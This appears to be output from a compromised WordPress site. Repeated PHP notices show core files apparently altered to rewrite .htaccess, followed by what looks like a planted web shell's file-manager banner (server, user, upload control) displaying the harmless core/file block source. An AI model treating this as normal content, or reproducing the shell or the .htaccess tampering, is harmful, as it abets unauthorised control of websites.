Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/query.php on line 466

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/query.php on line 466

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 1513

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 1513

Warning: file_put_contents(/home/coinconse/www/.htaccess): Failed to open stream: Permission denied in /home/coinconse/www/wp-includes/theme.php on line 1513

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 2702

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 2702

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/category.php on line 225

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/category.php on line 225

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/comment.php on line 2190

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/comment.php on line 2190

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/cron.php on line 234

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/cron.php on line 234

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/rest-api.php on line 1873

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/rest-api.php on line 1873

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/blocks/archives.php on line 19

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/blocks/archives.php on line 19

Warning: file_put_contents(/home/coinconse/www/.htaccess): Failed to open stream: Permission denied in /home/coinconse/www/wp-includes/blocks/archives.php on line 19
HEX
HEX
Server: Apache
System: Linux webm003.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: coinconse (191050)
PHP: 8.2.31
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/coinconse/www/wp-includes/blocks/file.php
<?php
/**
 * Server-side rendering of the `core/file` block.
 *
 * @package WordPress
 */

/**
 * When the `core/file` block is rendering, check if we need to enqueue the `wp-block-file-view` script.
 *
 * @since 5.8.0
 *
 * @param array  $attributes The block attributes.
 * @param string $content    The block content.
 *
 * @return string Returns the block content.
 */
function render_block_core_file( $attributes, $content ) {
	if ( empty( $attributes['displayPreview'] ) ) {
		return $content;
	}

	// If it's interactive, enqueue the script module and add the directives.
	wp_enqueue_script_module( '@wordpress/block-library/file/view' );

	$processor = new WP_HTML_Tag_Processor( $content );
	if ( $processor->next_tag() ) {
		$processor->set_attribute( 'data-wp-interactive', 'core/file' );
	}

	// If there are no OBJECT elements, something might have already modified the block.
	if ( ! $processor->next_tag( 'OBJECT' ) ) {
		return $content;
	}

	$processor->set_attribute( 'data-wp-bind--hidden', '!state.hasPdfPreview' );
	$processor->set_attribute( 'hidden', true );

	$filename     = $processor->get_attribute( 'aria-label' );
	$has_filename = is_string( $filename ) && ! empty( $filename ) && 'PDF embed' !== $filename;
	$label        = $has_filename ? sprintf(
		/* translators: %s: filename. */
		__( 'Embed of %s.' ),
		$filename
	) : __( 'PDF embed' );

	// Update object's aria-label attribute if present in block HTML.
	// Match an aria-label attribute from an object tag.
	$processor->set_attribute( 'aria-label', $label );

	return $processor->get_updated_html();
}

/**
 * Registers the `core/file` block on server.
 *
 * @since 5.8.0
 */
function register_block_core_file() {
	register_block_type_from_metadata(
		__DIR__ . '/file',
		array(
			'render_callback' => 'render_block_core_file',
		)
	);
}
add_action( 'init', 'register_block_core_file' );